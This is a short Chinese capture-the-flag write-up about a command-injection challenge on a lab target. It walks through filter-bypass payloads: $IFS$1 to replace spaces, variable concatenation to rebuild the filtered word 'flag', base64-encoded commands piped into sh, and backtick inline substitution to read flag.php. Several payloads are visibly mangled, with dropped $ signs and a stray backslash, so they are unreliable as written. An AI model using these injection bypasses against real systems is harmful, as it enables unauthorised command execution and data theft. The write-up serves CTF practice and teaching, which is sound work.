打开靶机
结合题目名称,考虑是命令注入,试试ls
结果应该就在flag.php。尝试构造命令注入载荷。 cat flag.php
可以看到过滤了空格,用 $IFS$1替换空格
还过滤了flag,我们用字符拼接的方式看能否绕过,a=g;cat$IFS1flaa.php。注意这里用分号间隔,所以不能用管道符连接了。
可以看到flag了。这里有个坑,这段是纯php代码,所以在页面上没有显示出来,要注意观察界面的源码。
其实可以先看一下index.php
基本上可以看到过滤了哪些内容。所以还可以用base64编码绕过过滤
echo$IFS1Y2F0IGZsYWcucGhw\|base64IFS$1-d|sh
既然ls能把flag找出来, 则还可以利用内联的方式获取flag cat$IFS$1`ls`
放一个命令注入的介绍:命令注入以及常见绕过方式_命令注入如何绕过空色-CSDN博客